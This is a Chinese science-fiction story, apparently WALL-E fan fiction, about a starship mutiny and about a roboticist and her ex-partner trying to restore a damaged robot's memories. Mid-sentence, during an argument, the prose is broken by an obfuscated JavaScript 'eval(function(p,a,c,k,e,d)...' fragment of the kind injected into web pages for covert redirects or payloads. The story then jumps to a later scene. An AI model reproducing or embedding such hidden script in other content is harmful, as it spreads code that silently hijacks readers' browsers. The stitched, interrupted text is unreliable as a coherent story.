科林深谙此道。他曾经也是失误的牺牲品。他常常怀疑自己是否能够像古时英明决策者那样具有超强的前瞻力。尽管这不是初始设定要求,随着他的经验累积逐渐超过一般人类,舰上所有船员——无论人还是机器人,都要求他必须能够给予经验及逻辑指导,才可能让整艘船的生存几率大一些。这又是科林觉得非常遗憾的一点。 人能够选择其擅长或不擅长的工作。对于机器人而言,只有两条路可走——适应工作,服役;不适应工作,销毁。 2419年,常量号。 “非常抱歉地通知大家,E56aU并非宜居星球。”骨瘦如柴的舰长冰冷地通过舰内广播通告,不顾浪涌而入的质疑声和绝望声,关闭了所有信道。蓝绿色的行星挂在舷窗外,看上去生机勃勃,然而充满了致命的有毒气体。 15年前,常量号好不容易从暗星云的致密尘埃中脱出身,连身在何处都尚未搞清楚,就蹭上一股伽马射线暴。飞船动用了所有能动用的组件进行闪避、阻挡,甚至无法考虑最优航线。这场惊魂持续了两年多。当大家都以为恶战终于结束,新的危机接连而至,一点喘气机会都不给。起飞300年从未接受补给的常量号各项储备早已告急,在地球宜居消息尚未传达时,重中之重就是找到宜居星球,尽早将所有人从净消耗中解放出来。此时的常量号仿佛大漠中干渴不堪的人,发了疯似的寻找看起来多如沙砾然而均远在天边的“水源”。当时,船上最重要的任务莫过于分析成千上万张深空光谱,然后计算轨道。大半部分船员,人或者机器人,都在为这项任务效力。在太空这座沙漠中,被称为太空海市蜃楼的引力透镜现象常常让他们白高兴一场。而好不容易选定的几颗最宜居的星球,都在过去勘察后被划去了名单。 寻找宜居行星同时也在不断消耗他们所剩无几的储备。尽管他们为了节省能源,在长途跋涉中关闭了所有不必要的组件,舰载机器人绝大多数待在泊位休眠,大多人类船员也进入冬眠降低代谢率。但是很快他们耗不起了。用于供电和低速推进的核燃料马上要告罄。就算他们还有用于长途跃迁的空间能源,就算他们还有氧气和水,没有电维持舰内的温度,所有人类乘客都会被冻死,所有系统都会停摆,这艘船将会彻底变成一艘死船。 飞船高层宣告了半年后飞船的死刑。唯一的希望就是在此期间寻找到宜居星球。希望一个接一个破灭。乘客们的饥饿综合征无论从心理还是生理上都已经显而易见,恐慌情绪不知何时蔓延开来。乘客中也有不少人提出除寻找宜居行星之外的方案。飞船高层拒绝了这些他们认为不可行的方案,维持原有计划不变。这种在无望之中继续等死的做法显然激怒了不少乘客。在又一次被告知行星不合适后,常量号上爆发了叛乱。 醒着的人毁坏了冬眠装置。新清醒过来的人得知状况后义无反顾加入叛舰队伍。他们很自然地遭到机器警卫的阻拦。但机器警卫面对的不仅仅是骨瘦如柴的人,还有加入叛舰队伍的机器人。理智筑成的大坝在如同滔天洪水的愤怒中不堪一击。机器警卫铸就的防卫被层层突破,包围舰桥的叛军势如破竹。飞船高层显然慌了。舰长恳求船员冷静下来,无力地强调着常量号一定能生存下来,要对他们的工作持有信心。这些声音只是击在滔天巨浪中的一颗小石子。很快,叛舰队伍就像蚁群般朝着舰桥入侵。他们破入了舰桥。 惊慌的舰长在人群的愤怒中不堪一击。无数双手疯也似的抓住他,极尽言语辱骂拳脚之事。回归一个垂死挣扎之人本色的舰长在求生的渴望中拼命挣扎,最终高声向自己的机器人同事呼救。呆若木鸡的船舵机器人才猛然反应过来。电击棒蓝白色的电弧跳跃在手柄周围。原先仅仅殴打舰长的那群暴徒立刻分出一股,朝这个机器人一拥而上。以电击为自己开路的科林很快也如同舰长一般被瘦骨嶙峋的愤怒双手牢牢抓住,动弹不得。艰难漫长的解救之路近在咫尺却远而不可触及。待到他终于挤入人群中央,接下来的一幕足以深烙穿透其电路。 他们把衣衫褴褛、浑身是血、原先是舰长的那个人,推下了电梯井。 一声惨烈的电子尖叫声自船舵机器人骤然响起,仿佛古时麦克风的刺耳自激。 电梯井传来的闷响姗姗来迟,花了比地球多一半的时间。 所有人都在欢呼。舰桥的人在欢呼,底下的人也在欢呼。这是生的胜利,是迂腐阶层被推翻的胜利。 “把他也解决了!”“帮凶机器人!”“该死的喽啰!”木然之中,科林接连感到自己的灯盘被折断、视觉消失、面盘破碎。但他对此已经无动于衷,甚至连挣扎都没有。最后一下沉重的打击夺去了他的意识。现在想来,他甚至感谢当时的干净利落。 他的处理器和记忆模块远藏在面盘上方,因此并没有受损。暴徒涌入舰桥之后不知过了多久,他们一定修好了舵形组件并重启了他。但他只能看到舰桥内来来去去的人,不认识的人;听到他们的声音。活动、发声、收发信号一概与他无缘。他们不去使用舰载电脑的全息航行日志功能,转而天天在这个尚有意识的AI面前汇报进度。 科林花了很长时间才明白他们为什么要这样——叛舰队伍当他为战利品,要让他睁着眼睛好好看着人类真正的求生潜能。至于是否想教育他,是否以此来羞辱他,即使看似显而易见地对于AI来说并没有杀伤力,叛舰人群并不在乎。 他们是对的。至少,暴乱的人群中还有不少清醒分子,足以将人们的愤怒及时收回。科林在接下来的两个月内目睹了曾经的暴徒将常量号由里到外来了个大整修。他们泊到这颗蓝绿色毒星的近恒星轨道上,幸运的是这双恒星都是主序星。科林看着他们不断出舱作业,顶着陌生双星的辐射仿佛贴鳞片一般给整艘船贴上高效太阳能板。太阳能板的数量太过有限,迫使常量号如同细胞自噬一般改造自己的组件。在此期间出现过零件短缺的紧急情况。不少舰载机器人自愿献上自己的零件,甚至不惜自己的芯片被拔出暂存。 常量号暂时活了下来。如果没有这场暴乱,现在的常量号已然是一艘死船。即使当时的发布者不是他,科林确实主导了舰长的决策。后来舰长的死亡让科林一直认为是自己的错误,他很久不能释怀。从此之后,决策失误的恐惧一直深植科林心底。 在机房里练了基本功好几天的汉本以为马上可以学新的了,德卡德却突然告诉他计划变动,要让他去生命科学中心学习。虽然德卡德告诉他那边很可能也有电子技术室给他练,但过去后他发现显然是另一回事。虽然他对生命科学并不厌恶,但一开始天天学的细胞等着实让他又困惑又烦躁。这些都是他在大区里根本没有接触过的东西。唯一的好处大概是学着学着学累了,不仅可以到窗边呼吸新鲜空气,还可以看看放在门口的一笼窜来窜去的小老鼠。汉看着它们不知疲倦地在笼子内跑动时,偶尔会想到,他现在入门这些东西就和当初在监控室差不多,甚至这些实验室里的人都比奥托要耐心,理应比当时还简单。但不知为何,他总觉得缺了点什么。即使这些东西并不难,他也提不起多少斗志去弄。 另一边,得知少年被支开的露丝大大舒了口气。她将奥托首次的表现概述给大区人,说明这机器人的调取功能已经被QT-Ⅱ病毒破坏。大区人对此表示怀疑。露丝呈上白色简易房间内的视频,并且说明此种结果并非她所希望。 她一面不动声色以专业术语忽悠在她面前的大区人,即使知道这些人也有一定底子,多多少少知道她说的有没有大的破绽,因此她没有掉以轻心;另一面急切地希望这些人听她的陈述过后能放弃这个机器人。她最后还是没有告知他们这个机器人已经报废。 “你只需告诉我们,这机器人到底能不能修好。”大区人板着面孔听完她的一大串陈述,只说了这么一句。 “非常难。”露丝回应。 “很好。”大区人说,“明天你就把他搬出来交给我们。不需要你进一步处理了。” 该死。该死之该死。命运总是踩在最坏的一步上。露丝心想。她不由得瞥了一眼全息屏上停滞的银色躯体。不行,她本就不应该对奥托这么在意。太在意反而适得其反。她豁出去了。 “噢,这太可惜了。”她以一种鄙夷的眼神看着大区人。这张情绪底牌不知道对大区人有没有用。“你们大费周章把这铁家伙送到我这里,想必浪费了不少精力和财力吧。结果你们自己打断这个进程,回收一堆里外都认不得的垃圾,这样的交易我还是第一次见。” “你们到底想怎么样,我其实不关心,薪水才是真的。”她对那个大区人眨了眨眼,“带走他吧,哈哈。送出一个垃圾白赚6万配点,爽死了。” “你真的认为我们这边不能将他修好?”面孔板得发青的大区人硬邦邦说道。“而且给你的,我们也会收回。不要以为拿到6万就高枕无忧了。” “哦是吗?”露丝犀利地盯着比自己高一头的大区男人,露出一副一听到薪水被威胁就立刻跳脚的架势。“当时的协议可不是这么讲的。这话你拿回去给你们上头说去。然后这堆狗屁玩意你们明天就拿走自个儿伤脑筋去。”她指向全息屏。 “好。至少在带走这个问题上我们达成了一致。”大区人咬牙切齿地说。“再见。” “搞笑得很。”他们离开后,露丝自言自语道。她的眉头却一直紧锁着。她暂停了工作,立马走出了工作间。 【劳伦斯,老地方。马上过来。】几年来她头一次主动给劳伦斯发紧急信息。 出乎她意料的是,她刚到老地方没多久,劳伦斯就赶了过来。显然他是匆忙丢下自己的工作跑过来的,衣冠不整地扶着墙喘了好一会儿。 “咋样,露丝?”劳伦斯边喘边说。 “不太妙,我们有点小麻烦。他们要回收这个猎物,而且是明天。” “你在逗我?”劳伦斯眯起眼睛。 “我不知道他们这是气话还是认真的。”露丝说,“我可能真的搞砸了。所以为了以防万一,所有的备份都得在今晚弄好。” “你他妈在——”意识到露丝恶狠狠的眼神后劳伦斯立马刹住了车,“好,好,但我能干什么,你都没有给这家伙剖个底朝天,更何况我这个一点底子都没有的人?而且这本应该有好长时间给我们去搞定。” “劳伦斯,我们只能捡重要的来了。”露丝说,“机器人脑袋里那些我来搞定,你一定要保存好那些万用小体。你找到方法了吧?” “我……觉得应该没问题。”劳伦斯飘忽了一下眼神,露丝立马摆开质问架势,“喂拜托,我也不能保证百分百行!” “能弄多少算多少,有损失也不怕。”露丝咬牙切齿说,“他们如果要收回去我保准给他们弄成个彻底让他们摸不着头脑的垃圾。” “听起来像吸血。”劳伦斯咧开一边嘴角笑道,但随即收起笑容。“我记得EP机体最难的就是仿生神经架构。你要把那个复制出来?” “这个东西对我们来说用处不大。”露丝说,“对,是挺难的。不过在他现在这种状况的基础上,把他每一次启动后的记忆地址都改到别的地方,就算他们最后发现了怎么回事,修这东西也够费神了。” “你也够坏的,露丝。”劳伦斯的大歪牙格外显眼,“看来你没白接受我的生物学熏陶,生物这东西,破坏容易修起来难。” “哼,不过是工作中实践到的印象罢了。”露丝说,“不过这家伙修起来还是比你那剖出来的小鼠脑子修起来容易些。” “早在大逃亡前神经科学就都探明白了,露丝。”劳伦斯叹了一口气,“我们现在做的,只不过是拼尽全力复习而已。” “少多愁善感了,把他从我那个实验室弄出去先。”露丝说。 露丝继续用假监控屏蔽他们要做的事情。在梅的帮助下,奥托被搬进露丝的另一个工作间。这个工作间本来是她让手下处理回收的机器人芯片的。但是现在她得亲自上手了。机器人之间虽然功能各异,但芯片除了接口和容量有所不同,核心却没有很大的差异。奥托初始芯片的所有内容很快被转移到另一块芯片上。露丝的确在之前的探索中学到很多,但她没有完全弄明白新系统的运作方式。她只能将自己能转移的转到事先搭好的架构上,让剩下的自己去完成连接。就仿佛将原本在高楼大厦中安然无恙的各种东西挪到临时搭建的脚手架上,让它们自己利用重力挪动到平衡位置上似的。 劳伦斯收起往日玩世不恭的风格,将保存罐调到之前测试可行的几个值,在露丝旁边忙碌自己的那部分。露丝用余光瞥着劳伦斯的动作,不禁思考,他们这样做的意义究竟如何。 诚然EP机体上有不少值得O区拿来钻研的技术。但是就目前而言,露丝看不出仿生的电子大脑能带来什么优势。哪怕是万用小体,或许拿过去生物医学那边还用处大点,在机械这里就是四不像。这样的想法屡次打断露丝的思路,让她不断想放弃手头上的工作。一晚下来,劳伦斯倒是兴致勃勃,她这个发起人却对此已经厌烦了。 要带走就带走吧。无所谓了。面对微亮的天色,她已经筋疲力尽。 当天中午露丝被大区人发来的消息吵醒。她睡眼朦胧地瞄了一眼,那边反悔了,并不想接这个烂摊子。她窝在被子里冷嗤一声。看来昨晚的功夫都白费了。不过幸好她没有继续往下破坏,而是留了一个开关,不按下去一切都能够挽回。既然如此,她就可以把那个开关藏起来,有机会给O区这边的上级写一份报告书,把战场转移到那边去。她想了想接下来的工作,如果一切顺利,接下来更多的将由劳伦斯接手,她反而会成为配角。 这人怎么能对啥都感兴趣,还不烦。露丝很不理解劳伦斯对于奥托的浓郁兴致。不过,既然她不怎么要伤脑筋,就随便劳伦斯摆布吧。 露丝给上级写的文件有了回应,他们显然对其中所提到的技术非常感兴趣,因此答应帮助露丝转移阵地进行进一步研究。O区指出大区的行为违背交换条约,严重威胁本区科研工作,拒绝大区再次对此监视。大区严厉谴责O区占有大区财产的行为,警告O区不可触犯大区底线,否则后果不堪设想。O区回应大区,目前将暂停维修进度,直至协商完成。大区回应除非允许监督维修,否则协商不可进行,并且给出最后期限。O区认为此行为是对他们严重的不信任,拒绝大区修改交换条约的请求。介于此事并非严重的冲突,双方同意暂时搁置。O区上级告诉露丝,时间不多,务必抓紧。 这里是O区。她是梅。我是奥托。第二次身处这个房间。 他们改了什么?我应该记得什么?公理号,汉·肯特,瓦力……梅给我看了这些名词的图像,A-113指令阅读不下三次。我能看出来她——或她背后的什么人一直想让我想起什么,然而我不能与任何事情联系起来。如果真有必要,为何不一开始就告诉我整个事情的前因后果,如果只是为了让我拥有这些记忆? “这行不通。露丝,你不能把哪怕一个关键词嵌入那个那个……地址代码什么的,我不管那是什么。一个都不行吗?” “你把我当成什么了?你自己想想能随便搭一条神经过去就能让它自己找到应该找的接头吗?这玩意比电气实验还糟糕几百倍。” “真的吗?那你现在打算怎么做?” “按电气实验那样做呗,一根一根捋清楚接好。该死,在铲除小可爱之前我应该想到这点的。” “……那……你……就勇敢地接下这个艰巨的任务吧。”劳伦斯缓缓咧开嘴笑了。 “走开!”露丝抄起固定器,作势要狠狠砸向劳伦斯。 第5次在这个房间启动。依然是同一个房间。依然只有我和梅。还有墙后的声音。 我之前告诉过她我对此毫无头绪,并且明确告诉她有什么真正重要的直接说。看来她以及幕后操手只是想让我恢复记忆而已。暂且不管这个目的的荒谬之处,我问梅机器人所谓的调取机制究竟是什么样的,她告诉我正是因为我的机制与他们不同,因此第5次也没有成功。 偶然间,她说我以前设计出一种能让我的系统与她那种常规系统联系的驱动。这倒是提醒了我。如果调取功能已经坏到我自己无法修复,他们4次都修不好的地步,那何必再修?既然现在我能每次都记起身在何处,让我自己找那些记忆,重新输入到目前我能调取的地方不就行了? 显然墙后的女声拒绝了我。这让我确定了自己实际上是实验品,而不是他们想帮的对象。 “这真是太操蛋了。所有的连接都他妈的看起来正确无误,结果是他还他妈的什么都想不起来?”露丝捂住脸,“难不成我的思路是错的?” “露丝。”劳伦斯认真地说,“我觉得……可能你要换种方式想想。” “比如?”露丝咬着牙,依然没有抬头。 “你考虑一下奥托说过的,其实确实没错。”劳伦斯说,“不,我的意思不是直接让他自己找,而是我们给输入一定量的全息记忆。” “那也不可能是完整的。他现在这个调取的记忆区非常脆弱,不可能承受之前那么大的信息量。” “记得你之前说过的吗?关于他有很强的仿生特征这一点?”劳伦斯盯着全息屏上的红色活动点阵,“早在以前神经生物学就阐明了,记忆可以连锁,如果有一个记忆不断被提起,很可能接连其他的不相关的记忆都会被钓出来。这就是神经和计算机的不同之处。” “你的意思是他的系统也有这个机制?”露丝说,“但是这是两个区域,一个投射可以强化,却不能找到另一个投射。” “断掉的主区和现在这个副区靠的近吗?” “应该吧。你自己看看。”露丝点开原先一大片蓝色区域,让劳伦斯自己看。红色的一小团粘在蓝色边缘。 “那很可能有戏。”劳伦斯说,“按你的说法,你已经修好本应有的连接了,它们理论上不会是断的,但是缺乏实际的刺激。或许……用一个输入的记忆刺激他,让那些调取单元自己反复去找,说不定行。” “你有把握吗?” “不知道。不过……既然都是死马了,就当活马医一下试试看吧。” “有道理。值得尝试。”露丝毫无感情说道。她找到那个驱动,干脆地开始了输入。 “或者……”劳伦斯没有认真看露丝的动作,他盯着蓝红区域出了神。 露丝从测试刚开始不久就愣住了。然后脸色越来越黑。劳伦斯本以为她要开始破口大骂,但她只是捂住了嘴,关掉了播音键,然后笑出了声。 测试房间里两个机器人的对话依然时不时传进来。 “劳伦斯。”她笑了好一阵后,猛然止住了。哭笑不得又非常严肃地看着前男友。“你这个白痴。” “和我想的一模一样。”露丝说,“你给他输入多少记忆,他就记得那些记忆,别的都联系不起来。一点点都不行。就和一开始我们给他看的那些一样。” “见鬼了。”劳伦斯说。 “人也一样的,劳伦斯,你肯定知道。”露丝说,“你看看,当我们真不记得什么的时候,我们就瞎编一个看似合理的解释糊弄过去。你听听他怎么回应梅给的延伸问题,只比人好点,给个他现在能推理出的概率排行,没有信誓旦旦地胡说八道。” “全息记忆输入和外界输入一样,延伸问题去钓也钓不出来……”劳伦斯看着显示屏出神。“我突然想起一个问题。”他看着露丝,“你是不是没有实时监测他的神经网络活动?” “要这样的话,只能在这里,不可能在那个测试间。” “没关系啊。他又不认识我们。” “他认得我——”露丝突然住嘴,接着话锋一转。“别想再用你的半吊子脑子给我瞎指挥。” “啊,我只是想起很久以前的一个实验……”劳伦斯说,“……那个实验是,实验者监测了两只关系还不错的老鼠相遇时的脑电活动,然后把两只老鼠分开,让实验老鼠面对一只假老鼠,接着刺激实验老鼠那个在两只老鼠相遇时观测到脑电变化的脑区……结果很有趣,刺激后实验老鼠对假老鼠作出了和真老鼠一样的行为。” “你在想这对我们有没有帮助?”露丝眯起眼睛。 “是的。”劳伦斯毫不掩饰,“既然链接是好的,那不从外界找那个记忆区,相反,从记忆区出发,通过提高整个记忆区的电压,打通所有的通路,说不定会有联系。” “嗯。”听完好久,露丝只回应了这个词。她坐在椅子上思考了很久,点开了播音键,“梅,回收03。” 他们从监控上看着测试间的回收工作完成。经过好几次测试后奥托对回收不再像第一次那样抗拒。露丝转过来,对劳伦斯说:“我本以为你要胡说八道,但这倒的确是个值得尝试的思维。” “我们从来没有试过是因为从来不需要这样做。”露丝继续说,“但给机器人的逻辑组件加电压是一件风险非常大的事情。我们——” “我想的不一定是电压。” “我知道你的意思。别的也一样。”露丝说,“弄回来,可以。我不在乎他认不认得我。但是为了稳妥,就不能像你说的老鼠一样完全唤醒。只能维持低水平运转。”她揉了揉额头,“工作量非常大。因为要一直盯着流量。我没办法控制最高阈值。” “这个事情我干过。”劳伦斯说,“你教会我盯什么,发生什么状况应该怎么处理,至于累不累,我早习惯了。” 记忆引出方式似乎起效了。通过实时监测神经网络活动区域,露丝小心提高刺激强度,见到蓝色亮流通过通路流出记忆区;她设定次数,根据低水平运作规律,在特定时段进行重复。劳伦斯与梅接手监督重复步骤。结束刺激循环后,解除低水平运作,令高级神经网络自动点亮。 露丝选择亲自上阵与奥托对话,劳伦斯在一旁辅助观察,梅负责保证实验室安全。刚一开始,露丝就发现事情有了进展。在做完自我介绍后,奥托说露丝的声音听起来耳熟,但不知道何时听过,也无法复述场景。他还是无法对关键词作出理应有的反应,但在少数几个关键词上,他表现出犹豫。露丝追问是否与听到她的声音时反应类似,奥托表示同意。他描述相应记忆内容会有一瞬间出现,但无法持续,更无法描述。露丝再度尝试提示阳性关键词的部分内容,虽然有时可再度唤起一瞬,但不断重复片段对增加唤起没有效果。 即将结束此次测试时,劳伦斯突然打断了回收。他问奥托是否在测试一开始时对身上的固定装置有所印象。奥托答复肯定,但同时表示后来露丝主动解释了固定理由,就不再对此更多关注,劳伦斯犹豫了一下,才同意继续回收。 劳伦斯后来给露丝看观察时画的记忆区活动时间点和谈话内容。露丝看过后,说继续重复刺激。劳伦斯表示在重复阳性关键词之外,应该追问奥托对某些事物的印象,例如固定装置。 “为什么?”露丝问。 “这次测试后,我开始有点怀疑记忆与记忆之间的调取难度是否有差别。”劳伦斯说,“对于人以及老鼠等动物,你会更容易想起受威胁的情景,而一些平淡无奇的普通事情反而很难想起来。” “这些关键词所处的情景完全符合你说的。”露丝说。“我考虑过。” “……加一个看看吧,他对你的声音和固定装置有反应,这恰好在一个事件里发生。我认为这不是巧合。”劳伦斯说。“不知道是不是时间远近的关系,这是脱离关键词唤起的第一个记忆,以此作为突破口更有价值。” “让他首先记起来我对他做过什么,然后后面都别想做了?”露丝隔了好一会回应。“我还是会先选择保守的那几个关键词。” “你是总指挥,你随你的来。”劳伦斯说。“如果是我,过两次如果还有进展,我就停掉刺激,直接让他自己不断想。” “这个我有判断。”露丝说。“现在还太早,甚至连他认为想起来的是不是对的都不知道。” 他们继续对记忆区刺激。但后来越来越不如第一次平静。这天,运作水平一直在阈值附近波动,警报声时不时响起,劳伦斯不得不经常盯着屏幕,连个盹都打不了。他不敢把工作都交给梅。 在繁忙处理间隙中,劳伦斯观察到,那些随着脉冲有规律地如同蓝色火焰一样跳动的网络相比之前,显然把根系伸到了更远的地方。他知道这种脉冲是无特异性的,所以这些根系究竟来源何处,又扎根哪里,他不清楚,只能记下这种情况发生的时间,好让露丝解释。在蓝色火焰周边,他看到之前尚十分安静平稳滑动着、代表逻辑活动的黄色此时暗流涌动。这些黄色的浪涌时不时扬起明亮的波峰,旁边接近阈值的红线就会亮起。它们显然是引起警报声的罪魁祸首。 看起来像极了REM期。劳伦斯看着浪涌,不由得想道。如果这是真的,那么这个机器人肯定在遭受花里胡哨的记忆碎片洗礼。太可惜了,都不能实时看到里面的画面。又一个浪涌触发了警报,劳伦斯悄悄把警报声给调小,不再处理这一涌而过的波浪。 如果看到画面…… 劳伦斯继续沉思。不知为何,他想起神经科学曾经做过的实验。他们根据脑电波活动,重建了人脑中正在“呈现”的画面,好似窥进他人大脑一般。即使这个项目后来不知为何被叫停,也没有在BNL公司里投入使用,资料也寥寥无几。但是如果逆向也能行…… 这意味着很可能他们神经科学久攻不下的一块失地将会收回。奥托能帮他们理解人脑活动。这,将是他们实现人机高敏感联合的重量级突破。 警报声依然时不时响起,但调小声音后不再冷不丁使人一凛。即使都把劳伦斯的动作看在眼里,梅只是安静地浮在一边,没有代他处理警报。 露丝一大早进来实验室,她呆住了。 劳伦斯趴在桌子上睡得正香,梅一点动静都没有。但是——她的机器人被试正以深不可测的单光学镜盯着她的一举一动。 你们俩在搞什么?!露丝压住惊恐,扫了一遍房间,特别留意了奥托的固定装置。确定固定无损后,她大步走到劳伦斯背后,拽着后领一把把瘦高男人从桌上拽起来。 “你在搞什么?!”“干什么?!”他们异口同声朝对方吼道。 “你!……你,他……”露丝瞪着睡眼惺忪的男人,满腔怒火碍于一直安静听他们动静的机器人,只发泄出几个词。“……你……怎么看的你!” “那玩意不是定时的吗?”劳伦斯说,“而且固定得好好的,醒了有什么所谓?” 露丝快气死了。“当然有所谓!……我让你盯着就是,你……真是辜负我的信任!” 劳伦斯看了看奥托,撇了下嘴,没有接着吵。“……那进入正题吧。”他说,滑动全息屏,拉到标记,给露丝看他夜里的发现。“活动增强。”他仅仅说了四个字。 “噢。”露丝依然板着脸看着劳伦斯滑动的区域,“和当时抑制的情况差不多。不知道是怎么回事。” “这个当时……”劳伦斯漫不经心说,被露丝狠狠拍了一下肩膀,“哦。先干现在的。”他把椅子拖到老地方,协助露丝记录。 “奥托,我想你都知道惯例了,照着来吧。”露丝疲惫不堪地说。“还是那几个词,除去之前说过的,想起什么说什么。” 奥托没有回应。 “回答我。”露丝盯着那张金属面孔,声音开始发硬。“新的记忆,有还是没有?” “有。”只有一个词抛给露丝。 “说出来。”放松了音调。 “我不能。它们都不对。” “对不对由我们来为你评估。”露丝说,“先讲。” 尽管奥托有言在先,露丝听着听着忍不住皱起眉头。这个故事诡异无比,让人不敢相信这是一个向来逻辑缜密的机器人说的,比宿醉未醒还糟。降落前夜的记忆总算基本上连片,但是故事从在舰桥内与被他称为B·麦克雷的老人谈论在外面接独立发电机开始,到播放A-113录像使得老人解构为一个不认识的胖子。不知为何胖子恼怒无比地使他倾斜飞船,再到植物的出现使胖子稍微安静下来,他才有机会把胖子关禁闭。然后瓦力出现,举着全息假植物,另一个像梅的机器人也出现在身后,枪正对自己。随后结束。 “奥托,你确定你说的这些东西不是你自己编的?” “现在没有。如果曾被任意主体修改,也无法鉴别。” “你……知道它们……不符合逻辑。” “问题就是,除去逻辑判断,我深信不疑。” 乌鸦嘴。露丝骂自己。怎么事情都朝她想的坏的一面发展。这显然是记忆混乱,而且不是单纯的全息片段错位,还合并严重的信息嵌套,甚至可能还有修改。麻烦真的大了。 劳伦斯似乎没有理会奥托说的那些,一直盯着实时监测图没有作声。 “可以回收了。”带着金属泛频的冷静声音猛地把露丝从沉思中拉回。她茫然地盯着人形机器人,一时不敢相信这话居然出自奥托。 她长叹一口气,却没有命令梅回收。她憔悴地朝劳伦斯看去,顶着黑眼圈的男人正出神地抬头盯着屏幕。“劳伦斯?”她忍不住提醒。但男人依旧没有低头。 直到露丝猛地晃动男人,他才回过神。“有稳定连接了。”他示意露丝,“而且红区和蓝区之间有密切的联系。” “不用图表都看出来了,劳伦斯。”露丝说,“你到底有没有听他讲了什么?那些所谓的连接其实是一团糟!” “那不是重点,露丝——” “那当然是重点!”机器人学家骤然拔高声调,“我们永远也没法让他恢复正常,劳伦斯!这就是盖棺定论的大新闻!” “你可以把这些活动转化为图像吗?”劳伦斯继续看着监测图,说。 “不要再想那些有的没的!”露丝说,“我们彻底失败了。”她一下子泄了气,瘫倒在椅子里。 “如果我说转化为图像可能有帮助呢?”男人接着说。 “有帮助个屁!我们看到的会和他讲的故事一样,就是一大坨磕了极乐粉后七窍喷溅的屎!而我们要从这坨屎中找出每一片他妈的残渣还原成他妈吃进去的所有东西!”露丝暴跳如雷,“我不干了!” “露丝……我知道这很令人沮丧……”劳伦斯正视面色青黑,浑身发抖的前女友,“可以不谈他,单纯只是谈谈……技术性问题,可以吗?” “那这有什么意义?!”露丝说,“你……我明白了,你太自私了!你一直都在利用我设计的这些技术,拿到你他妈的操蛋神经科学里面当你的战利品!你其实一点都不关心这个项目,一点都不关心我的感受!你这个卑鄙小人!你……我……我真是瞎了眼了!居然……” 露丝越骂越激动。机器人学家搬出所有能想到的最难听的字眼倾泻而下。劳伦斯默不作声。两个机器人也默不作声。她猛然站起来,随手抄起台上的电焊笔直直朝劳伦斯砸下去,不顾电焊笔后面的线缠在一起难以挥舞。在正中劳伦斯脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好吧。”劳伦斯继续蹲下来陪伴在前女友身边。“……所以说,这事情到底是怎么起因的啊?为什么让你去接这个烂摊子?” “我不知道到底是什么原因,反正那边的逻辑是屎。就前两个月突然让我们做准备收一个机器人。弄了个房间评估他的活动能力,然后网倒加电倒才送过来。”露丝说,“让我问的那几个问题特别诡异,你想想看,本质就是来删一个指令加上矩阵抽用,结果硬要先给人扣帽子再好像才有理由去干活,非得搞的和特务迫害□□一样复杂。”露丝看了一眼正盯着他们的人形机器人,斗气似的捏尖了嗓子,“那个指令和矩阵,就——是A-113他后来新设计的公理号电脑加密系统。” “这还没完呢。”露丝越想越生气。“自己要用小可爱病毒去吓人家,然后真吓出毛病了还把锅丢给我们,说是我们设计不好,要我们去弥补他们的损失。你说说这是人话吗?这就是霸王条款!我们凭什么吃这个亏啊,我们实力吊打那边好吧。这几天还好了,上面老油条还帮我们说话了,不然现在我周围都是那些平时不知道会盯哪儿看的监视线!”露丝说,“我现在倒是明白了,油条到处都是,不分地方……我们这些卖力干活的工具人反而是最苦的……” “……是啊……”劳伦斯说,“我现在才明白这几天你怎么脾气这么大……确实,我们这些人真的吃亏……” 露丝直着眼睛没说话。她用眼角瞥着一动不动的机器人,冷笑一声,对劳伦斯说道:“看吧,我就说,提示都到这样了还没反应。没救了。” 劳伦斯盯着实时监测好一阵,上面的黄色浪潮一直在平静涌动。蓝色树根也没有扩张。“你魔怔了。”他对露丝扬起一边嘴角,“出去吹吹风,换个脑子。” 露丝一开始有些不乐意,但仔细看过实时监测图和数据变化趋势后同意了。她从椅子中站起身,检查过固定装置,把梅叫进来,告诉她看着这里,万一有紧急情况及时找他们。然后两个人出了房间。 外面阳光灿烂却寒风刺骨。一个年轻的电子技师看到他们一起从对面的楼中出来,立马动身。他左顾右盼,迅速潜入这栋空旷的实验楼。他一直揣着兜里的电磁脉冲枪,随时准备放倒任何活动的机器人。O区内活动机器人数目稀少,给他行动捡了个大便宜。他摸到连日来算到的这一排房间,有3个房间符合他估算的条件。3个房间的门都紧锁着,只有通过密码或者生物纹理才可进入。但他不需要一个个房间去试。 他从兜里掏出一个袋子,里面装满了看起来普普通通的蜘蛛。他倒在3个房间门口,涂了少量蛛丝胶水,吸引蜘蛛爬到门框上,和深色的门框融为一体。然后他匆匆离开了这一层。 来到房间内,他打开了远程控制。动动腿。几只赖在门框上不走的蜘蛛如他意动了动腿。远程控制生效了。他令蜘蛛静待原地,等着下一步动作。 人形机器人低垂头坐在固定椅内。梅在他对面安静地浮着。 小可爱,QT系列病毒,是迄今以来对AI威胁最大的病毒。机器人怕它们很正常,但他发现自己对此十分恐惧,仿佛见过“小男孩”致命炫光的幸存者。 为什么恐惧?为什么这些束缚用的蓝色力场条如此熟悉?露丝说的如果是对的…… 布满QT病毒代码片段的蓝色墙面突然冒出来。露丝的声音也充斥其中。蓝色力场条也在场。 抓住了!他知道这回再也跑不掉了。自己不可能想象如此真切的场景。但怎么证明它们是没有改过的拼图碎片? 之前的任何“回忆”没有如此令他恐惧。这是前所未有的事情。这说明这个组合一定唤起了其他部分。它们能成功唤起其他部分,说明这是没有改过的记忆。 为什么不能是想象? 一个声音在质疑,被他立刻阻止。 情感联动?这不是新鲜事情。但至少他有了一个抓手。 为什么自己知道这不新鲜? 想啊。使劲想。事情是真的。她什么时候删过A-113指令?什么时候调取了新的公理号加密系统?为什么会设立这个?前后发生过什么?…… 一堆接着一堆胡里花哨的全息答案随着提问不断跳出来招手。他费了好大劲才压下去。按照露丝所说的,一点一点仿佛淘金一样对这些记忆进行筛选并重新组合,再看看这些组合能否对上情感联动密码锁。在此同时,许多不相关的问题同时跳了出来,他甚至没法腾出精力不理它们。 为什么一开始自己面对“回收”会恐惧? 为什么本对他无害的刺骨寒冷会令他不安? 为什么…… 洪水一般的问题淹没了他的正常思路。他一定在哪儿也遭遇过洪流。这又带起一个新问题。 